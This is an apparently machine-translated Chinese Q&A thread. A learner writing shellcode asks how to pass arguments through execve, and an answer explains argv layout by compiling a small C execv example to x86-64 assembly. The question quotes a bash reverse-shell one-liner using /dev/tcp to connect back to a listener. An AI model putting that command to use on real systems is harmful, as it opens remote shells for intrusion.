2013-04-18 18 views
2

我正在學習彙編和編寫shellcode。我有一個關於execve的問題,並將參數傳遞給它將執行的程序。將參數傳遞給shellcode中的execve程序

我有工作代碼來執行一個bash外殼,但我不確定輸入格式execve將其他參數傳遞給它。我可以做stdin stdout重定向嗎?我想用這種類型的命令行創建一個反向tcp連接:

 
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1 

參數應該用NULL分隔嗎?我得到它來執行一個shell,但它沒有連接回監聽nc。

我知道這是這樣的一個不尋常的方式,但我只是想嘗試不同的東西:-)

乾杯

回答

1

的最好方法知道如何做的是編寫一個例子,在停止裝配水平。讓我們借這個例子:

#include <unistd.h> 

int 
main() 
{ 
    char *program = "/bin/ls"; 
    char *args[3] = {"/bin/ls", "-l", "./"}; 

    execv(program, args); 

    return 0; 
} 

gcc -Wall -Wextra -S -o myexec.s myexec.c編譯就可以在myexec.s閱讀:

 .file "myexec.c" 
     .section  .rodata 
.LC0: 
     .string "/bin/ls" 
.LC1: 
     .string "-l" 
.LC2: 
     .string "./" 
     .text 
     .globl main 
     .type main, @function 
main: 
.LFB0: 
     pushq %rbp 
     movq %rsp, %rbp 
     subq $32, %rsp 
     movq $.LC0, -8(%rbp) 
     movq $.LC0, -32(%rbp) 
     movq $.LC1, -24(%rbp) 
     movq $.LC2, -16(%rbp) 
     leaq -32(%rbp), %rdx 
     movq -8(%rbp), %rax 
     movq %rdx, %rsi 
     movq %rax, %rdi 
     call execv 
     movl $0, %eax 
     leave 
     ret 

所以,命令行參數的清單由字符串列表中,並且在第一參數是可執行文件(-8(rbp))的路徑,然後通過指向其字符串的指針傳遞每個參數:argv[0] = -16(%rbp)argv[1] = -24(%rbp)argv[2] = -32(%rbp),...依此類推。

因此,您只需要將每個字符串的地址堆疊起來(以正確順序),然​​後調用execv即可將其堆疊到堆棧上。

+0

謝謝隊友。這有助於爲我清理一些事情。我對64位不熟悉,但每個arg作爲指向它的字符串的指針的概念是我不確定的(我猜每個NULL都終止了)。我會再去一次,我想我會發現重定向是否有效。 – user2296580

+0

那麼我重新寫它,並得到它執行,因爲它應該但重定向不能按預期出於某種原因工作。我得到-i:>&:沒有這樣的文件或目錄。 – user2296580